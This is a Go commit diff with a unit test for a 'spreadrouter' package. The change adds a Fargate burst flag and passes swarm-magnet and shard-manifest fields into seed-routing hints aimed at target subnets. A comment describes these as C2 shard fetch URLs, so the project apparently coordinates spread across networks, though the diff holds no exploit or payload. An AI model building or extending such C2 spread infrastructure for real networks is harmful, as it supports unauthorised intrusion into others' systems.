Add ECS Fargate burst seeder fleet with BGP hints and spread-kit exports.

server/internal/spreadrouter/router.go

@@ -62,6 +62,7 @@ type Input struct {
 	TargetSubnets         []string
 	RequestedLane         string
 	ErasureLanesEnabled   bool
+	FargateBurstActive    bool
 }
 
 // RouteEdge is a weighted edge from a seed hop to a target subnet.
@@ -93,6 +94,8 @@ type RouteRecommendation struct {
 	ErasureLanesEnabled bool    `json:"erasure_lanes_enabled,omitempty"`
 	SwarmMagnet         string  `json:"swarm_magnet,omitempty"`
 	ShardManifestURLs   []string `json:"shard_manifest_urls,omitempty"`
+	PreferFargateSeeder bool     `json:"prefer_fargate_seeder,omitempty"`
+	RouteVia            string   `json:"route_via,omitempty"`
 }
 
 // SpreadRouteHint is attached to signed deploy plans for agent egress routing.
@@ -112,6 +115,8 @@ type SpreadRouteHint struct {
 	SwarmMagnet string `json:"swarm_magnet,omitempty"`
 	// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
 	ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
+	PreferFargateSeeder bool   `json:"prefer_fargate_seeder,omitempty"`
+	RouteVia            string `json:"route_via,omitempty"`
 }
 
 // RouteTable holds weighted edges and recommendations.
@@ -152,7 +157,7 @@ func Build(in Input) *RouteTable {
 	targets := normalizeTargets(in)
 	for _, target := range targets {
 		cands := collectCandidates(in, target, fleetByID, laneRates)
-		rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
+		rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, in.FargateBurstActive, cands)
 		if rec.SeedAgentID != "" {
 			rt.Routes = append(rt.Routes, rec)
 			rt.bySubnet[target] = rec
@@ -188,6 +193,9 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint {
 		Score:               rec.Score,
 		ClearanceLevel:      rec.ClearanceLevel,
 		ErasureLanesEnabled: rec.ErasureLanesEnabled,
+		SwarmMagnet:         rec.SwarmMagnet,
+		ShardManifestURLs:   rec.ShardManifestURLs,
+		PreferFargateSeeder: rec.PreferFargateSeeder,
 	}
 }
 
@@ -303,7 +311,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps
 	return out
 }
 
-func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
+func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
 	var edges []RouteEdge
 	var best RouteRecommendation
 	var bestScore float64
@@ -353,6 +361,7 @@ func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []ca
 				Score:               weight,
 				Reason:              reason,
 				ErasureLanesEnabled: erasureLanes,
+				PreferFargateSeeder: fargateBurst,
 			}
 		}
 	}

server/internal/spreadrouter/router_test.go

@@ -123,6 +123,25 @@ func TestBuildSetsErasureLanesFlag(t *testing.T) {
 	}
 }
 
+func TestBuildSetsPreferFargateSeederWhenBurstActive(t *testing.T) {
+	in := Input{
+		TargetSubnets:      []string{"10.9.8"},
+		FargateBurstActive: true,
+		FleetAgents: []FleetAgentSnapshot{
+			{AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
+		},
+	}
+	rt := Build(in)
+	rec, ok := rt.Recommend("10.9.8")
+	if !ok || !rec.PreferFargateSeeder {
+		t.Fatalf("route=%+v ok=%v", rec, ok)
+	}
+	hint := ToHint(rec)
+	if hint == nil || !hint.PreferFargateSeeder {
+		t.Fatalf("hint=%+v", hint)
+	}
+}
+
 func TestToHint(t *testing.T) {
 	hint := ToHint(RouteRecommendation{
 		TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,